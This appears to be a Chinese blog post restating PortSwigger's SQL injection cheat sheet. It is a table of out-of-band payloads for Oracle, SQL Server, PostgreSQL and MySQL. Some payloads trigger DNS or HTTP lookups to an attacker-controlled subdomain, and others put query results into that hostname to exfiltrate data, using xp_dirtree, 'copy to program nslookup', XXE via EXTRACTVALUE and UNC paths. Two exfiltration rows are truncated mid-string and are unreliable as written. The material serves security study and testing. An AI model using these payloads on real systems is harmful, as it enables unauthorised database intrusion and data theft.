Untitled
https://portswigger.net/web-security/sql-injection/cheat-sheet
1 | Payload(特殊字符编码): |
1. 基础探测(验证是否存在注入)
| 数据库类型 | 核心语法 / 函数 | 代码示例(将 SUBDOMAIN 换成你的地址) |
|---|---|---|
| Oracle | extractvalue (XML) |
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://SUBDOMAIN/"> %remote;]>'),'/l') FROM dual |
| Oracle (高权限) | UTL_INADDR |
SELECT UTL_INADDR.get_host_address('SUBDOMAIN') |
| SQL Server | xp_dirtree |
exec master..xp_dirtree '//SUBDOMAIN/a' |
| PostgreSQL | copy ... to program |
copy (SELECT '') to program 'nslookup SUBDOMAIN' |
| MySQL (Windows) | LOAD_FILE |
SELECT LOAD_FILE('\\\\SUBDOMAIN\\a') |
2. 数据外泄(把查询结果带出来)
| 数据库类型 | 关键逻辑 | 代码示例(YOUR-QUERY 是你要查的数据) |
|---|---|---|
| Oracle | 拼接 URL 字符串 | `SELECT EXTRACTVALUE(xmltype(‘<!DOCTYPE root [ <!ENTITY % remote SYSTEM “http://‘ |
| SQL Server | 声明变量并拼接 | declare @p varchar(1024); set @p=(YOUR-QUERY); exec('master..xp_dirtree "//'+@p+'.SUBDOMAIN/a"') |
| PostgreSQL | 定义函数执行 | `create function f() returns void as $$declare c text; p text; begin SELECT into p (YOUR-QUERY); c := ‘copy (SELECT ‘’’’) to program ‘’nslookup ‘ |
| MySQL (Windows) | 导出到 UNC 路径 | SELECT YOUR-QUERY INTO OUTFILE '\\\\SUBDOMAIN\a' |
- 拼接符号:Oracle 和 PostgreSQL 使用
||来连接字符串,SQL Server 使用+。 - 双斜杠
\\:在 SQL Server 和 MySQL 中,那是为了表示 Windows 的网络共享路径(UNC),这是触发 DNS 请求最简单的办法。 - 限制条件:MySQL 的这个招数基本只能在 Windows 版的服务器上用;Oracle 的 XML 方法最通用,但代码也最长。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 24kmagic!
评论

